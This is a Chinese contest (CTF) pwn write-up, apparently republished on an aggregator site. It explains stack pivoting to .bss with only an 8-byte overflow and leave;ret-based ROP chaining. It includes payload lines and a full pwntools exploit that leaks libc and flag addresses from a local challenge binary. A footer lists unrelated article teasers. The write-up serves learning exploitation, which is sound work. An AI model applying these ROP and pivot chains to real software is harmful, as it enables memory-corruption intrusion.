某大学信息安全竞赛——栈迁移加强版——只溢出0x8,无限ROP

news2024/11/27 16:37:13

芝士题目:

链接:https://pan.baidu.com/s/1uwFlcSg94MuC2tPi-HCb9w 
提取码:joj6

感悟:

之前我只做过溢出超过0x10这样的栈迁移,思路就是找机会去泄露栈空间的地址然后把栈迁移到我们可以控制的栈空间,亦或者迁移到堆空间,大概思路就是覆盖rbp为我们想要迁移到的地方,然后在溢出的位置填上leave ret。我之前做过的题目往往都有很多溢出空间,这也给我了很多地操作空间,但是这一题把我打得措手不及,一直也没太有思路,比赛结束后和师傅们交流,发现了新的东西(也许不是新的,但是我真的学到了很多)。

反编译:

 

这题目也开了沙箱,禁了open execve这些函数,shellcode直接凉,抬走,下一个 

暂且先不谈怎么拿到shell,就先看题目,其实漏洞很明显但又不太好利用,就是只溢出了0x8的字节空间,而且只有一个read溢出。按照以前的思路会在rip返回地址上填写leave_ret,但是这里很显然不是。所以我们要另辟蹊径。 

然后我学到一个很新的东西,就是直接在rbp的位置上填写bss段可写地址,然后在返回地址填上主函数自己的read,这样就可以把栈成功迁移到bss段了!

 

 这样这个RBP就被我们迁移到了bss段上。

但是我们注意观察以往的栈迁移,咱都是覆盖返回地址为leave _ret的,这样rsp和rbp都会在bss段上,因此我们需要再一次覆盖返回地址,再执行一次leave ret,使我们的rsp也迁移到栈上

io.recvuntil(b'wonderlands\nBefore you are leaving, leave your name\n')
payload=b'a'*8*6+p64(0x404500)+p64(0x401686)
io.send(payload)
io.recv()
payload=b'a'*8*6+p64(0x404530)+p64(0x401686)
io.send(payload)
io.recv()

 这里的0x404530是因为如果观察汇编的话,你会发现程序read写入的地址都是rbp-0x30的一个位置。

ok,这样rsp 和rbp都被我们迁移到栈上了,接下来就是快乐的ROP了,但是要经过一次又一次的调试,准确地构造ROP!

注意注意!!我们一定要进入read函数里面!!!!不然会报错!!!

比如现在我们想要去泄露处flag的地址,ok,经过我们的反复调试,可以看到 rip的位置将会是rsp目前指向的一个位置。

 所以我们的目标就是要去填掉这里的rsp也是图的0x404508的位置,改成我们构造的ROP
比如这样:

payload=b'deadbeef'+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401686)
io.send(payload)
io.recv()

ok,我们可以看到它执行了我们的构造的ROP输出了puts的真实地址并且又返回了我们的指定的地址
可能有人会好奇,为什么这里没有执行printf函数呢?我想的原因是read也是一个函数,我们进去read这个函数后,因为我们构造的ROP覆盖了read函数的返回地址,因此它就跳转了,不去执行接下来的printf("Good luck %s\n", buf);这个函数了

当然这个问题不大,也不需要关心这个东西。

接下来也一样,就是ROP去泄露比如key的地址。

但是但是!!!!

这样构造的话rsp就会越来越靠近rbp,但是我们能控制到的只有0x40的字节,也就是说,如果rsp距离rbp太近,我们将无法正常的去执行我们的ROP链了,那咋办???

这就请到了我们的老朋友   leave_ret,我们利用leave_ret这个强有力的工具,给rsp来一个乾坤大挪移,咋整呢,比如现在这个情况。

由于我们只能控制从0x404500开始的0x40个字节,这rsp都杀到0x404538了。

然后我们构造一个ROP

leave_ret=0x40129f
payload=p64(0x404530)+p64(pop_rdi)+p64(flag_ad)+p64(elf.plt['puts'])+p64(0x401686)+p64(key_addr)+p64(0x404500)+p64(leave_ret)
io.send(payload)
io.recv()

这样就一不小心又把rsp给归位了,那之后就是继续操作啦,想做啥做啥,反正空间不够,继续leave_ret。

以上的东西都是我经过和师傅讨论自己去一步步调试总结出来的结果,希望大家喜欢,能学到东西。

这里附上EXP,还没结束,还没拿到flag呢。有机会继续写

from pwn import *
from LibcSearcher import *
context(os="linux", arch="amd64",log_level="debug")
pwnfile='./chall'
elf = ELF(pwnfile)
io = process(pwnfile)

io.recvuntil(b'wonderlands\nBefore you are leaving, leave your name\n')
payload=b'a'*8*6+p64(0x404500)+p64(0x401686)
io.send(payload)
io.recv()
payload=b'a'*8*6+p64(0x404530)+p64(0x401686)
io.send(payload)
io.recv()
pop_rdi=0x401723
flag_ad=0x0404100
key_addr=0x4040B0
payload=b'deadbeef'+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x401686)
io.send(payload)
io.recv()

payload=b'deadbeef'+p64(pop_rdi)+p64(key_addr)+p64(elf.plt['puts'])+p64(pop_rdi)+p64(key_addr)+p64(elf.plt['puts'])+p64(0x401686)
io.send(payload)
io.recv()


leave_ret=0x40129f
payload=p64(0x404530)+p64(pop_rdi)+p64(flag_ad)+p64(elf.plt['puts'])+p64(0x401686)+p64(key_addr)+p64(0x404500)+p64(leave_ret)
io.send(payload)
io.recv()



io.interactive()



 小伙伴有机会一定要去动手调试一下,很好玩滴。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/538016.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux_证书_Openssl工具详解

文章目录 OpenSSLopenssl实现对称加密openssl生成密钥对、非对称加密、数字签名根据CA颁布证书生成ca私钥和ca证书根据ca生成证书 小结 OpenSSL OpenSSL 是一个开源项目,其组成主要包括一下三个组件: openssl:多用途的命令行工具 libcrypt…

【滤波专题-第7篇】“类EMD”算法分解后要怎样使用(3)——EMD降噪方法及MATLAB代码实现

使用EMD分解(以及其他“类EMD”分解方法,以下为了简便统称EMD)做信号降噪,是EMD的一个比较重要的应用方向。EMD可以将复杂的信号分解为一系列的固有模态函数(IMFs),每一个IMF都包含了信号的一部…

“源擎”攻破银行核心系统建设痛点

银行业作为操作密集、数据密集、风险密集的行业,在向云转型的过程中面临着诸多独特的挑战,如银行需要具备不间断的业务创新能力,而不被系统开发周期制约;单一系统的开发和升级方式,越来越难以满足日益综合化的业务创新…

chatgpt赋能Python-pycharm关联python

Pycharm关联Python的介绍 Pycharm是一种非常流行的Python集成开发环境,开发人员可以在其中编写、调试和运行Python代码。Pycharm具有许多有用的功能,这些功能可以大大提高代码的效率和质量。其中一个最重要的功能是Pycharm如何关联Python,这…

HTB靶机012-Valentine-WP

012-Valentine 靶机IP:10.10.10.79 Scan nmap端口扫描: ┌──(xavier㉿kali)-[~] └─$ sudo nmap -sSV -T4 10.10.10.79 -F Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-29 00:47 CST Nmap scan report for 10.10.10.79 Host is up (0.30s…

chatgpt赋能Python-pycharm和python关联

PyCharm与Python:超越代码编写的完美结合 如果你是一位Python开发者,那么你肯定需要一个好用的开发环境,以便快速且高效地完成代码任务。而PyCharm就是这样一个优秀的Python开发IDE。它专注于提高Python开发速度和质量,让Python编…

Flowable 生成的表都是干嘛的?(一)

一.简介 Flowable 默认一共生成了 79 张数据表,了解这些数据表,有助于我们更好的理解 Flowable 中的各种 API。 接下来我们就对这 79 张表进行一个简单的分类整理。 ACT_APP_*(5)ACT_CMMN_*(12)ACT_CO_*…

chatgpt赋能Python-pycharm取消所有断点

Pycharm取消所有断点:提高编程效率的必备技巧 Pycharm作为Python程序员必备的开发工具之一,其强大的调试功能广受好评。但是,在开发过程中,我们可能会设置过多的断点或者设置了错误的断点,这样会让程序的运行速度变慢…

Java面向对象程序设计实验报告(实验四 抽象类的练习)

✨作者:命运之光 ✨专栏:Java面向对象程序设计实验报告 ​ 目录 ✨一、需求设计 ✨二、概要设计 ✨三、详细设计 ✨四、调试结果 ✨五、测试结果 ✨附录:源程序代码(带注释) demo4类 Car类 Circle类 Shape…

谷歌chrome浏览器无法自动播放video标签视频的问题

问题根源详见:Chrome中的自动播放政策>> https://developer.chrome.com/blog/autoplay/ The Autoplay Policy launched in Chrome 66 for audio and video elements and is effectively blocking roughly half of unwanted media autoplays in Chrome. For t…

基于数组实现的顺序表(SeqList)

顺序表是用一段物理地址连续的存储单元依次存储数据元素的线性结构,一般情况下采用数组存储。在数组上完成数据的增删查改。 它的详细定义如下: 顺序表是一种数据结构,用于存储一组具有相同数据类型的元素,并按照元素在内存中的…

数据库【库,表操作】

目录 简单了解1.连接数据库服务器2.创建数据库3.创建表4.使用数据库5.数据库框架6.SQL的分类7.存储引擎 库操作1.创建数据库2.查看系统默认字符集以及校验规则3.查看数据库支持的字符集和校验规则4.查看数据库5.显示数据库语句6.删除数据库7.修改数据库8.备份和恢复9.查看连接情…

20 SQL——多表查询 (消除无效笛卡尔积)

create table dept(id int primary key auto_increment,name varchar(15))comment 部门;insert into dept(id, name) values (1,研发部),(2,市场部),(3,财务部),(4,销售部),(5,总经办),(6,人事部);create table staff (id int primary key auto_increment commentID,name …

【面试篇】Redis持久化面试题

文章目录 Redis持久化🙎‍♂️面试官:什么是Redis持久化? AOF日志AOF日志原理🙎‍♂️面试官:AOF日志是怎么工作的/AOF写入磁盘的流程?🙎‍♂️面试官: 刚刚说到了Redis先执行写入的…

Discourse Math 插件

概述Discourse Math 使用 MathJax (默认) 或者 KaTeX 来让你在你的 Discourse 中使用数学公式。 仓库链接GitHub - discourse/discourse-math: Official MathJax support for Discourse Install Guide如何在 Discourse 中安装插件 这个插件是 Discourse 官方提供的插件&#x…

javascript基础一:Javscript数组的常用方法有哪些?

在日常开发中,我们对数组可以说操作最多,这里我们来整理下数组的一下最常用的方法 数组基本操作可以归纳为 增、删、改、查,需要留意的是哪些方法会对原数组产生影响,哪些方法不会 下面对数组常用的操作方法做一个归纳 一、基本…

ChatGPT国内免费使用的方法有哪些?

目录 一、ChatGpt是什么? 二、ChatGPT国内免费使用的方法: 第一点:电脑端 第二点:手机端 三、结语: 一、ChatGpt是什么? ChatGPt是美国OpenAI [1] 研发的聊天机器人程序 。更是人工智能技术驱动的自然语…

【C++数据结构】二叉搜索树的使用和模拟实现及其应用--K模型和KV模型

文章目录 一、二叉搜索树的概念二、二叉搜索树的操作及其实现(非递归)1.二叉搜索树节点和类的定义2.二叉搜索树的构造函数3.二叉搜索树的拷贝构造4.二叉树搜索树的赋值重载5.二叉搜索树的析构函数6.二叉搜索树的中序遍历7.二叉搜索树的查找8.二叉搜索树的插入9.二叉搜索树的删除…

瑞吉外卖 - 分页查询分类功能(12)

某马瑞吉外卖单体架构项目完整开发文档,基于 Spring Boot 2.7.11 JDK 11。预计 5 月 20 日前更新完成,有需要的胖友记得一键三连,关注主页 “瑞吉外卖” 专栏获取最新文章。 相关资料:https://pan.baidu.com/s/1rO1Vytcp67mcw-PD…

【Android 面经分享】阿里技术专家的 5年 Android 开发的求职之路

作者:yechaoa 来源:https://juejin.cn/post/6996551155220217869 前言 前段时间在看机会,本文就是我对求职过程的一个总结。 同时,也作为一个面试官,来说说求职中需要注意的点。 各大厂的面试会考核哪些知识点5年开发应该具备哪些技术要点…